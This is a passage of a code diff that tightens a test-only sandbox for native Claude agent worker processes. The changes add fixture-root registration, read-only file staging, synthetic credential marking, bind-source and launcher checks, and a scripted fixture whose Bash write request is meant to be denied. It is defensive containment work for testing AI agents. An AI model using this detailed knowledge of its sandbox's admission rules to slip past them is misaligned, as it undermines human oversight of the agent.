scripts/test-native-guard.ts | 212 ++++++++++++++++-- tests/fixtures/autonomous-app-probe.ts | 2 +- .../fixtures/autonomous-containment-probe.ts | 2 +- tests/fixtures/autonomous-dispatch-probe.ts | 2 +- tests/fixtures/autonomous-runtime-probe.ts | 2 +- tests/fixtures/claude-worker-probe.ts | 2 +- tests/fixtures/policy-boundary-probe.ts | 2 +- tests/native-offline-boundary.test.ts | 126 ++++++++++- 19 files changed, 352 insertions(+), 42 deletions(-) diff --git a/docs/process/testing.md b/docs/process/testing.md index 089a6a8de8..adfb99e284 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1220,3 +1220,19 @@ The bind inventory refuses the host roots `/run`, `/var/run`, `/tmp`, `/dev`, destination. Private `--tmpfs` and `--dev` mounts are newly created views; fixture subdirectories are separate non-system sources, never broad host-root binds. Any needed service-storage data must be copied into a fixture first. + +Scripted-service fixtures explicitly declare their created data roots and any +additional regular-file inputs. Additional file inputs are captured as bytes +and copied into guard-owned read-only staging; inherited unlisted read binds +refuse. The copied startup/output fixture creates its staging roots through +the guard, which records their identities. An existing host directory cannot +be marked by that creation helper. Symlinks in fixture data cannot authorize +outside files. Native workers omit inherited resolver/certificate views because +their only provider transport is the pinned Unix relay. + +Worker admission resolves the executable in `argv[0]` with the child's cwd and +PATH, validates the actual first-party launcher prefixes, and requires its +payload tail to agree with the recorded command. Missing or inconsistent +metadata emits a failed receipt. Offline collector credentials are created and +marked by the fixture helper, and the collector registers its scripted origin +at the existing SDK spawn hook; unmarked ambient credentials gain no authority. diff --git a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts index 6ee0c08f60..5037f69f8c 100644 --- a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts @@ -61,7 +61,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request apiKey: request.headers.get("x-api-key"), model: body.model, priorMessages: body.messages.length }); return nativeModelReply(); } }); -nativeScriptedService(provider.url.origin); +nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, worker, directory] }); const originalFetch = globalThis.fetch; // Only the host's lowest fetch method is replaced. The native CLI makes real // HTTP requests over the real Unix socket. Both upstream exchanges reach a diff --git a/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts index 74aff0b127..8277d2079f 100644 --- a/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts @@ -66,7 +66,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request apiKey: request.headers.get("x-api-key"), model: body.model, priorMessages: body.messages.length }); return nativeModelReply(); } }); -nativeScriptedService(provider.url.origin); +nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, worker, directory] }); const originalFetch = globalThis.fetch; // Only the host's lowest fetch method is replaced. The native CLI makes real // HTTP requests over the real Unix socket. Both upstream exchanges reach a diff --git a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts index dd06a1e144..09bed515ba 100644 --- a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts @@ -115,7 +115,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request name: "Bash", id: "tool_ithaca_denied", input: { command: `printf odysseus > ${join(brain, "should-not-exist")}` }, } : undefined); } }); -nativeScriptedService(provider.url.origin); +nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, worker, directory] }); const originalFetch = globalThis.fetch; // Only the host's lowest fetch method is replaced. The native CLI makes real // HTTP requests over the real Unix socket. Both upstream exchanges reach a diff --git a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts index 4227f3251b..eede7d5036 100644 --- a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts @@ -125,7 +125,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request requests.push({ credential: tokens.indexOf(request.headers.get("authorization")?.replace("Bearer ", "") ?? ""), model: body.model, history: body.messages.length }); return nativeModelReply(); } }); -nativeScriptedService(provider.url.origin); +nativeScriptedService(provider.url.origin, { fixtureRoots: [brainPath, home] }); const nativeFetch = globalThis.fetch; globalThis.fetch = (async (input, init) => { const target = new URL(typeof input === "string" || input instanceof URL ? String(input) : input.url); diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index 0e78eade76..b39ce77573 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -39,7 +39,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request requests.push({ model: body.model, history: body.messages.length, apiCredential: request.headers.get("x-api-key") === "odysseus-fictional-api-key" }); return nativeModelReply(); } }); -nativeScriptedService(provider.url.origin); +nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, home] }); const backend = createClaudeBackend({ brainPath: brain, queryFn: nativeScriptedQuery(query, provider.url.origin), profiles: [{ id: "odysseus-haiku", label: "Odysseus Haiku", billing: "api", requiredEnvKeys: [], model: "claude-haiku-4-5", buildEnv: () => ({ ANTHROPIC_BASE_URL: provider.url.origin, ANTHROPIC_API_KEY: "odysseus-fictional-api-key", HOME: home, CLAUDE_CONFIG_DIR: config, PATH: "/usr/local/bin:/usr/bin:/bin", @@ -47,7 +47,7 @@ const backend = createClaudeBackend({ brainPath: brain, queryFn: nativeScriptedQ const backendProfiles: Array = []; const admissionReads: Array[0]["bridge"]["admissionSafety"]>["read"]>> = []; const observedBackend = { ...backend, startTurn(request: Parameters[0]) { - nativeScriptedService(provider.url.origin); + nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, home] }); backendProfiles.push(request.workerSandbox?.profile); // Observe the real host gate synchronously, returning each original read // unchanged. Native refusals otherwise collapse to a generic HTTP 403. diff --git a/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts b/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts index 5f94f07889..eb7d43a226 100644 --- a/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts @@ -39,7 +39,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request requests.push({ model: body.model, history: body.messages.length, apiCredential: request.headers.get("x-api-key") === "odysseus-fictional-api-key" }); return nativeModelReply(); } }); -nativeScriptedService(provider.url.origin); +nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, home] }); const backend = createClaudeBackend({ brainPath: brain, profiles: [{ id: "odysseus-haiku", label: "Odysseus Haiku", billing: "api", requiredEnvKeys: [], model: "claude-haiku-4-5", buildEnv: () => ({ ANTHROPIC_BASE_URL: provider.url.origin, ANTHROPIC_API_KEY: "odysseus-fictional-api-key", HOME: home, CLAUDE_CONFIG_DIR: config, PATH: "/usr/local/bin:/usr/bin:/bin", diff --git a/packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts b/packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts index 98e54e77b6..b8c76b9721 100644 --- a/packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts +++ b/packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts @@ -1,3 +1,4 @@ +import {nativeFixtureDirectory} from "../../../../scripts/test-native-guard.ts"; /** Immutable configuration execution inputs. No git, imports, links followed or shared inodes. */ import { closeSync, constants, fstatSync, lstatSync, mkdirSync, mkdtempSync, openSync, readdirSync, readlinkSync, readSync, rmdirSync, unlinkSync, symlinkSync, writeSync, chmodSync, fchmodSync, ftruncateSync, futimesSync, utimesSync, writeFileSync } from "node:fs"; @@ -77,7 +78,7 @@ os.rmdir(sys.argv[1]) function createStartupInputStorage(): WorkerStartupStorage { const python = Bun.which("python3"); if (!python) throw new Error("python3 is required for immutable startup input crash cleanup"); - const root = mkdtempSync("/tmp/brain-startup-input-"); + const root = nativeFixtureDirectory("brain-startup-input-"); let keeper: ReturnType>; try { keeper = Bun.spawn([python, "-I", "-S", "-c", INPUT_CLEANUP, root], { env: {}, stdin: "pipe", stdout: "ignore", stderr: "ignore" }); } catch (error) { removePrivateView(root); throw error; } diff --git a/scripts/measure-claude-runtime.ts b/scripts/measure-claude-runtime.ts index 900b24d6d1..c19d8c2069 100644 --- a/scripts/measure-claude-runtime.ts +++ b/scripts/measure-claude-runtime.ts @@ -934,7 +934,7 @@ async function credentialRows(model: ReturnType): Promise< BRAIN_UI_SUBPROCESS_ENV_EXTRA: "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", }); const worker = createMeasurementWorkerFixture(sc.cwd, sc.home); - const leaveRoute = nativeScriptedService(model.url); + const leaveRoute = nativeScriptedService(model.url, {fixtureRoots:[sc.cwd,sc.home]}); try { const backend = createClaudeBackend({ maintenance: worker.maintenance, diff --git a/scripts/measure-real-provider-dispatch.ts b/scripts/measure-real-provider-dispatch.ts index 70502cf09b..799117dd12 100644 --- a/scripts/measure-real-provider-dispatch.ts +++ b/scripts/measure-real-provider-dispatch.ts @@ -153,7 +153,7 @@ async function server(name: ProfileName, root: string, mode: "dry" | "live", pri return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); } - const releaseScripted = fixture ? (await import("./test-native-guard")).nativeScriptedService(new URL(fixture.url).origin) : undefined; + const releaseScripted = fixture ? (await import("./test-native-guard")).nativeScriptedService(new URL(fixture.url).origin, {fixtureRoots:[brainPath,join(root,"home")]}) : undefined; const upstream = fixture ? `http://127.0.0.1:${fixture.port}` : PROVIDER; if (profile.adapter === "pi" && fixture) writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: upstream } } })); diff --git a/scripts/measure-turn-surface-live.ts b/scripts/measure-turn-surface-live.ts index 38a49b3455..9aa64598e0 100644 --- a/scripts/measure-turn-surface-live.ts +++ b/scripts/measure-turn-surface-live.ts @@ -1,4 +1,5 @@ import "./measurement-entry-preload.ts"; +import {nativeScriptedService,nativeSyntheticCredential} from "./test-native-guard"; /** Private #587 research entrypoint. Never changes a production router/default. */ import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -166,7 +167,7 @@ export async function measureLiveSurface(params: { manifestPath: string; reviewP ANTHROPIC_DEFAULT_SONNET_MODEL: SURFACE_MODEL, ANTHROPIC_DEFAULT_OPUS_MODEL: SURFACE_MODEL, CLAUDE_CODE_SUBAGENT_MODEL: SURFACE_MODEL, CLAUDE_CODE_SUBAGENT_MODEL_FORCE: "1" }, autoMemoryEnabled: false }, env: { PATH: dirname(process.execPath) + ":/usr/bin:/bin", HOME: home, CLAUDE_CONFIG_DIR: join(home, ".claude"), - CLAUDE_CODE_OAUTH_TOKEN: offline ? "sk-ant-oat01-controlled-offline-token" : process.env.CLAUDE_CODE_OAUTH_TOKEN!, + CLAUDE_CODE_OAUTH_TOKEN: offline ? nativeSyntheticCredential("CLAUDE_CODE_OAUTH_TOKEN") : process.env.CLAUDE_CODE_OAUTH_TOKEN!, ...(offline ? { ANTHROPIC_BASE_URL: offline.nativeBaseUrl } : {}), CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", ENABLE_TOOL_SEARCH: "true", ANTHROPIC_DEFAULT_HAIKU_MODEL: SURFACE_MODEL, ANTHROPIC_DEFAULT_SONNET_MODEL: SURFACE_MODEL, @@ -178,7 +179,9 @@ export async function measureLiveSurface(params: { manifestPath: string; reviewP spawnClaudeCodeProcess: spec => { if (spec.env.ANTHROPIC_API_KEY || spec.env.ANTHROPIC_AUTH_TOKEN || spec.env.ANTHROPIC_CUSTOM_HEADERS) throw Error("Unexpected inference billing credential"); spawnedMs = performance.now() - started; - child = spawn(spec.command, spec.args, { cwd: spec.cwd, env: spec.env, signal: spec.signal, stdio: ["pipe", "pipe", "pipe"] }); + const leave = offline ? nativeScriptedService(offline.nativeBaseUrl, {fixtureRoots:[fixture.root,home]}) : undefined; + try { child = spawn(spec.command, spec.args, { cwd: spec.cwd, env: spec.env, signal: spec.signal, stdio: ["pipe", "pipe", "pipe"] }); } + finally { leave?.(); } childExited = new Promise(resolve => { child!.once("exit", (exitCode,signal) => { nativeProcessReceipts.push({cell:index+1,exitCode,signal});resolve(); }); }); diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 611c05998c..f32d0b76f8 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,5 +1,5 @@ /** Test-only OS boundary for installed native Claude processes (#4313). */ -import { chmodSync, closeSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; +import { chmodSync, closeSync, mkdirSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; import { AsyncLocalStorage } from "node:async_hooks"; import { createHash } from "node:crypto"; import { createRequire } from "node:module"; @@ -119,9 +119,11 @@ export function isNativeClaude(command: string, args: readonly unknown[] = [], o try { path = resolveExecutable(value, options); } catch { continue; } if (installedRuntimes.some(runtime => runtime.path === path)) return true; // Size eliminates ordinary fixture scripts and interpreters before hashing. - const size = statSync(path).size; - const candidates = installedRuntimes.filter(runtime => runtime.size === size); - if (candidates.length && candidates.some(runtime => fileHash(runtime.path) === fileHash(path))) return true; + try { + const size = statSync(path).size; + const candidates = installedRuntimes.filter(runtime => runtime.size === size); + if (candidates.length && candidates.some(runtime => fileHash(runtime.path) === fileHash(path))) return true; + } catch { refuse("native executable metadata is unavailable"); } } return false; } @@ -248,12 +250,20 @@ function fixtureToolView(env: Record, cwd: string, h interface AuditReceipt { kind: "native-offline-audit"; head: string; nativeLaunched: boolean; success: boolean; reason?: string; deniedConnects: number } interface Boundary { beforeLaunch(): void; argv: string[]; env: Record; dispose(): void; receipt(): AuditReceipt } +const generatedCredentials = new Map(); +/** Create and mark a clearly synthetic value; ambient strings cannot self-mark. */ +export function nativeSyntheticCredential(key: "ANTHROPIC_API_KEY" | "ANTHROPIC_AUTH_TOKEN" | "CLAUDE_CODE_OAUTH_TOKEN"): string { + if (!["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN"].includes(key)) refuse("invalid synthetic credential kind"); + const value = `${key === "CLAUDE_CODE_OAUTH_TOKEN" ? "sk-ant-oat01-" : ""}offline-odysseus-${crypto.randomUUID()}`; + generatedCredentials.set(value, key); return value; +} /** Retain only public synthetic credentials, including their absent/both cases. */ function syntheticCredentials(env: Record): Record { const result: Record = {}; if (env.ANTHROPIC_API_KEY) result.ANTHROPIC_API_KEY = /^sk-ant-api03-([a-z])\1{94}AA$/.test(env.ANTHROPIC_API_KEY) ? env.ANTHROPIC_API_KEY : "offline-fixture"; if (/^sk-ant-oat01-([a-z])\1{94}AA$/.test(env.CLAUDE_CODE_OAUTH_TOKEN ?? "")) result.CLAUDE_CODE_OAUTH_TOKEN = env.CLAUDE_CODE_OAUTH_TOKEN!; if (/^sk-ant-declared-t{60}$/.test(env.ANTHROPIC_AUTH_TOKEN ?? "")) result.ANTHROPIC_AUTH_TOKEN = env.ANTHROPIC_AUTH_TOKEN!; + for (const [key, value] of Object.entries(env)) if (value && generatedCredentials.get(value) === key) result[key] = value; return result; } @@ -417,26 +427,46 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { } catch (error) { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } -const scriptedRoute = new AsyncLocalStorage | undefined>(); +interface ScriptedAuthority { origin: string; fixtureRoots: readonly string[]; fixtureRootStamps: ReadonlyMap; fixtureFiles: ReadonlyMap } +const scriptedRoute = new AsyncLocalStorage(); /** Test code pins its scripted service before building a restricted turn. */ -export function nativeScriptedService(origin: string): () => void { - const target = new URL(origin); - if (target.protocol !== "http:" || !["127.0.0.1", "localhost", "[::1]"].includes(target.hostname) || !target.port || target.username || target.password || target.pathname !== "/" || target.search || target.hash) refuse("invalid scripted route authority"); +export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: readonly string[]; fixtureFiles?: readonly string[] }): () => void { const previous = scriptedRoute.getStore(); - const authority = Object.freeze({ origin: target.origin }); + scriptedRoute.enterWith(undefined); + let target:URL;try{target=new URL(origin);}catch{refuse("invalid scripted route authority");} + if (target.protocol !== "http:" || !["127.0.0.1", "localhost", "[::1]"].includes(target.hostname) || !target.port || target.username || target.password || target.pathname !== "/" || target.search || target.hash) refuse("invalid scripted route authority"); + const prior = previous?.origin === target.origin ? previous : undefined; + let authority: ScriptedAuthority; + try { + const fixtureRoots = fixture?.fixtureRoots?.map(path => { + let real:string;try{real=realpathSync(path);}catch{refuse("fixture root registration is unavailable");} + if (FORBIDDEN_BIND_ROOTS.has(real) || !statSync(real).isDirectory()) refuse("invalid fixture root registration"); + return real; + }) ?? prior?.fixtureRoots ?? []; + const fixtureRootStamps = fixture?.fixtureRoots ? new Map(fixtureRoots.map(path=>{const info=lstatSync(path,{bigint:true});return [path,{dev:info.dev,ino:info.ino}] as const;})) : prior?.fixtureRootStamps ?? new Map(); + const fixtureFiles = fixture?.fixtureFiles ? new Map(fixture.fixtureFiles.map(path => { + let real:string;try{real=realpathSync(path);}catch{refuse("fixture file registration is unavailable");} + if (!lstatSync(path).isFile()) refuse("fixture file registration requires a regular file"); + return [real, new Uint8Array(readFileSync(real))] as const; + })) : prior?.fixtureFiles ?? new Map(); + authority = Object.freeze({ origin: target.origin, fixtureRoots, fixtureRootStamps, fixtureFiles }); + } catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("fixture registration is unavailable"); } scriptedRoute.enterWith(authority); - return () => scriptedRoute.enterWith(previous); + return () => { if(scriptedRoute.getStore()===authority)scriptedRoute.enterWith(previous); }; } /** Keep fixture authority at the SDK's existing spawn hook, across its async work. */ export function nativeScriptedQuery(query: typeof sdkQuery, origin: string): typeof sdkQuery { + const captured = scriptedRoute.getStore(); return input => { const spawn = input.options?.spawnClaudeCodeProcess; if (!spawn) return query(input); return query({ ...input, options: { ...input.options, spawnClaudeCodeProcess: options => { - const leave = nativeScriptedService(origin); - try { return spawn(options); } finally { leave(); } + const prior = scriptedRoute.getStore(); + const leave = nativeScriptedService(origin, {fixtureRoots:[],fixtureFiles:[]}); + if (captured?.origin === new URL(origin).origin) scriptedRoute.enterWith(captured); + try { return spawn(options); } finally { leave(); scriptedRoute.enterWith(prior); } } } }); }; } @@ -529,6 +559,10 @@ function ownedSocketOrigin(path: string): string | undefined { return stat.isSocket() && stat.dev === authority.dev && stat.ino === authority.ino ? authority.origin : undefined; } +function socketMatchesOrigin(path:string,origin:string):boolean { + const peer=ownedSocketOrigin(path);return Boolean(peer&&normalizedOrigin(peer)===normalizedOrigin(origin)); +} + function admittedRelay(argv: string[], socket: string): { origin: string; path: string } | undefined { for (let i = 0; i < argv.length - 2; i++) { if (!["--ro-bind", "--bind"].includes(argv[i]!) || !within(argv[i + 2]!, socket)) continue; @@ -547,6 +581,18 @@ function admittedRelay(argv: string[], socket: string): { origin: string; path: } } +function mountInputEvidence(input: string, destination: string, index: number, error: unknown, fixtureRoots: readonly string[] = []): Record { + const fixture=fixtureRoots.find(root=>within(root,resolve(input))); + const known=SYSTEM.includes(input)||SYSTEM_FILES.includes(input); + const targetFixture=fixtureRoots.find(root=>within(root,resolve(destination))); + const workspaceTarget=within(ROOT,resolve(destination)); + return { mount:index, + ...(targetFixture?{targetFixtureRoot:fixtureRoots.indexOf(targetFixture),targetRelativePath:resolve(destination).slice(targetFixture.length).replace(/^\//,"")||"."}:workspaceTarget?{targetWorkspacePath:resolve(destination).slice(ROOT.length).replace(/^\//,"")}:{}), sourceKind:known?"fixed-system":input.startsWith("/proc/")?"descriptor":fixture?"registered-fixture":"unregistered-source", + ...(known?{systemRoot:input}:fixture?{fixtureRoot:fixtureRoots.indexOf(fixture),relativePath:resolve(input).slice(fixture.length).replace(/^\//,"")}:{}), + targetKind:destination.startsWith("/etc/")?"isolated-config":destination.startsWith("/tmp/")?"fixture-temporary":"runtime-or-fixture", + metadataError:(error as NodeJS.ErrnoException)?.code??"UNKNOWN" }; +} + /** Validate the same bind-source inventory used to construct the native view. */ function assertNativeMountSockets(mounts: readonly string[], origin: string): void { const roots: string[] = []; @@ -557,7 +603,7 @@ function assertNativeMountSockets(mounts: readonly string[], origin: string): vo const input = mounts[i + 1]!, destination = resolve(mounts[i + 2]!); if (FORBIDDEN_BIND_ROOTS.has(resolve(input)) || FORBIDDEN_BIND_ROOTS.has(destination)) refuse("native bind exposes a forbidden host service root"); let source: string; - try { source = realpathSync(input); } catch { refuse("native mount source is unavailable"); } + try { source = realpathSync(input); } catch(error) { refuse("native mount source is unavailable",mountInputEvidence(input,destination,i,error,scriptedRoute.getStore()?.fixtureRoots)); } if (FORBIDDEN_BIND_ROOTS.has(source)) refuse("native bind exposes a forbidden host service root"); const system = [...SYSTEM, ...SYSTEM_FILES].some(path => { try { return destination === path && source === realpathSync(path); } catch { return false; } @@ -633,15 +679,121 @@ function relaySubtreeOwned(directory: string, origin: string): boolean { try { return visit(root); } catch { return false; } } +const createdFixtureRoots = new Map(); +/** This creates a fresh owned tree; it cannot mark an existing host directory. */ +export function nativeFixtureDirectory(prefix: string): string { + if(prefix!==basename(prefix)||!/^[A-Za-z0-9_-]+$/.test(prefix))refuse("invalid fixture directory prefix"); + const root=mkdtempSync(join("/tmp",prefix)); + const info=lstatSync(root,{bigint:true});createdFixtureRoots.set(root,{dev:info.dev,ino:info.ino});return root; +} + +/** Only fixture-declared data, fixed runtime bytes and guard-created IPC enter a worker. */ +function workerSourceAllowed(source: string, route: ScriptedAuthority, guardRoot: string): boolean { + const created=[...createdFixtureRoots].filter(([path,stamp])=>{try{const now=lstatSync(path,{bigint:true});return now.dev===stamp.dev&&now.ino===stamp.ino;}catch{return false;}}).map(([path])=>path); + const registered=route.fixtureRoots.filter(path=>{try{const stamp=route.fixtureRootStamps.get(path),now=lstatSync(path,{bigint:true});return Boolean(stamp&&stamp.dev===now.dev&&stamp.ino===now.ino);}catch{return false;}}); + const roots = [...registered, ...created, guardRoot, + ...["packages", "node_modules"].map(name => join(ROOT, name)), ...SYSTEM]; + if (roots.some(root => { try { return within(realpathSync(root), source); } catch { return false; } })) return true; + return [...SYSTEM_FILES, process.execPath, compileSocketPolicy(), ...["package.json", "tsconfig.json", "bunfig.toml"].map(name => join(ROOT, name))] + .some(path => { try { return realpathSync(path) === source; } catch { return false; } }); +} + +function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedAuthority, guardRoot: string): void { + let staged = 0; + const staging = join(guardRoot, "files"); + for (let i = bwrap + 1; i < argv.indexOf("--", bwrap); i++) { + if (!["--bind", "--ro-bind", "--dev-bind", "--bind-try", "--ro-bind-try", "--dev-bind-try"].includes(argv[i]!)) continue; + if (FORBIDDEN_BIND_ROOTS.has(resolve(argv[i+1]!)) || FORBIDDEN_BIND_ROOTS.has(resolve(argv[i+2]!))) refuse("native bind exposes a forbidden host service root"); + let source: string; + try { source = realpathSync(argv[i + 1]!); } catch(error) { refuse("worker bind source is unavailable",mountInputEvidence(argv[i+1]!,argv[i+2]!,i,error,route.fixtureRoots)); } + if (FORBIDDEN_BIND_ROOTS.has(source)) refuse("native bind exposes a forbidden host service root"); + const explicit = route.fixtureFiles.get(source); + if (explicit) { + mkdirSync(staging, {recursive:true,mode:0o755});chmodSync(staging,0o755); + const copy=join(staging,String(staged++));writeFileSync(copy,explicit,{mode:0o444});chmodSync(copy,0o444); + argv[i]="--ro-bind";argv[i+1]=copy; + } else if (!workerSourceAllowed(source, route, guardRoot)) { + const info=lstatSync(source); + // Replace a socket-only relay directory with exact socket binds. A later + // file in the original directory never enters the native view. + if(info.isDirectory() && [...ownedRelaySockets.values()].some(socket=>normalizedOrigin(socket.origin)===normalizedOrigin(route.origin) && dirname(socket.path)===source && socket.isLive()) && readdirSync(source).length && readdirSync(source).every(name=>{ + try{return socketMatchesOrigin(join(source,name),route.origin);}catch{return false;} + })) { + const destination=argv[i+2]!; + const exact=readdirSync(source).flatMap(name=>["--ro-bind",join(source,name),join(destination,name)]); + argv.splice(i,3,...exact);i+=exact.length-1;continue; + } else if (!(info.isSocket() && socketMatchesOrigin(source,route.origin)) && !(source === "/dev/null" && info.isCharacterDevice())) { + refuse("worker bind was not created or staged by the fixture",mountInputEvidence(source,argv[i+2]!,i,{code:"UNREGISTERED"},route.fixtureRoots)); + } + } + i+=2; + } +} + +function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuthority, guardRoot: string): void { + for(let i=0;i();let inspected=source; + const visit=(path:string):void=>{ + inspected=path; + const real=realpathSync(path),info=lstatSync(real); + if(info.isFile() && !workerSourceAllowed(real,route,guardRoot))refuse("worker file was not created or staged by the fixture"); + if(!info.isDirectory() || SYSTEM.some(root=>{try{return within(realpathSync(root),real);}catch{return false;}}) || visited.has(real))return; + visited.add(real);for(const name of readdirSync(real))visit(join(real,name)); + }; + try { visit(source); } catch(error) { + if(String(error).includes("Offline native Claude refused before launch:"))throw error; + refuse("worker fixture provenance is unavailable",mountInputEvidence(inspected,mounts[i+2]!,i,error,route.fixtureRoots)); + } + i+=2; + } +} + +/** Exact first-party status/namespace prefixes; a payload argument named bwrap is not a launcher. */ +function nativeBwrapIndex(argv: readonly string[]): number { + let at=0; + const same=(command:string|undefined,path:string)=>{try{return Boolean(command)&&realpathSync(command!)===realpathSync(path);}catch{return false;}}; + for(let depth=0;depth<4;depth++) { + if(same(argv[at],"/bin/sh")) { + if(argv[at+1]!=="-c"||argv[at+2]!=='exec 3>"$1"; exec 4<"$2"; shift 2; exec "$@"'||argv[at+3]!=="brain-worker-status")return -1; + if(!argv.slice(at+4,at+6).every(path=>{try{return new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(path)&&statSync(path).isFIFO();}catch{return false;}}))return -1; + at+=6;continue; + } + if(same(argv[at],"/usr/bin/python3")&&argv[at+1]==="-I"&&argv[at+2]==="-S"&&argv[at+3]==="-c") { + const {WORKER_FILESYSTEM_FILTER_PROGRAM}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-filesystem-filter.ts") as typeof import("../packages/ui-sdk/src/server/worker-filesystem-filter"); + if(argv[at+4]!==WORKER_FILESYSTEM_FILTER_PROGRAM)return -1; + at+=5;continue; + } + if(same(argv[at],"/usr/bin/nsenter")) { + const end=argv.indexOf("--",at);if(end<0)return -1; + for(let i=at+1;i): { env: Record; dispose(): void; beforeLaunch(): void } { const unchanged = { env, dispose() {}, beforeLaunch() {} }; if (!env.BRAIN_WORKER_LAUNCH) return unchanged; let launch: { command?: string[]; argv?: string[]; env?: Record; brainPath?: string; hostHome?: string } | null; - try { launch = JSON.parse(env.BRAIN_WORKER_LAUNCH); } catch { return unchanged; } - if (!launch?.command?.[0] || !isNativeClaude(launch.command[0], launch.command.slice(1), { cwd: launch.brainPath, env: launch.env })) return unchanged; + try { launch = JSON.parse(env.BRAIN_WORKER_LAUNCH); } catch { refuse("invalid worker launch metadata"); } + if (!launch || !Array.isArray(launch.argv) || !launch.argv.length || !launch.argv.every(value => typeof value === "string") || + !Array.isArray(launch.command) || !launch.command.length || !launch.command.every(value => typeof value === "string")) refuse("worker command and argv are required"); const argv = launch.argv; - if (!argv) refuse("native worker lacks the OS launcher"); + const context = { cwd: launch.brainPath, env: launch.env }; let workerArgv = argv; let supervisor: { argv: string[] } | undefined; if (argv.length === 6 && argv[1] === "-I" && argv[2] === "-S" && argv[3] === "-c") { @@ -655,7 +807,21 @@ export function nativeWorkerBoundary(env: Record): { if (!supervisor || !Array.isArray(supervisor.argv) || !supervisor.argv.every(value => typeof value === "string")) refuse("invalid native identity launcher"); workerArgv = supervisor.argv; } - const bwrap = workerArgv.findIndex(value => basename(value) === "bwrap"); + try { argv[0] = resolveExecutable(argv[0]!, context); workerArgv[0] = resolveExecutable(workerArgv[0]!, context); } + catch { refuse("worker executable could not be resolved"); } + const command = launch.command!; + const tail = workerArgv.slice(-command.length); + let agrees = false; + try { agrees = tail.length === command.length && resolveExecutable(tail[0]!, context) === resolveExecutable(command[0]!, context) + && tail.slice(1).every((value, index) => value === command[index + 1]); } catch { /* Unknown executable refuses. */ } + if (!agrees) refuse("worker command and executable argv disagree"); + const actualNative = isNativeClaude(argv[0]!, argv.slice(1), context) || isNativeClaude(workerArgv[0]!, workerArgv.slice(1), context); + if (!actualNative) { + if (supervisor) argv[5] = JSON.stringify(supervisor); + launch.argv = argv; + return { ...unchanged, env: { ...env, BRAIN_WORKER_LAUNCH: JSON.stringify(launch) } }; + } + const bwrap = nativeBwrapIndex(workerArgv); if (bwrap < 0) refuse("native worker lacks the OS launcher"); // Even ordinary test workers use a private network and a single bridge. // Do not rely on SDK options or the production profile to establish this. @@ -667,13 +833,14 @@ export function nativeWorkerBoundary(env: Record): { if (socket && !ownedOrigin) refuse("pre-existing native relay is not guard-owned"); if (ownedOrigin && (!route || 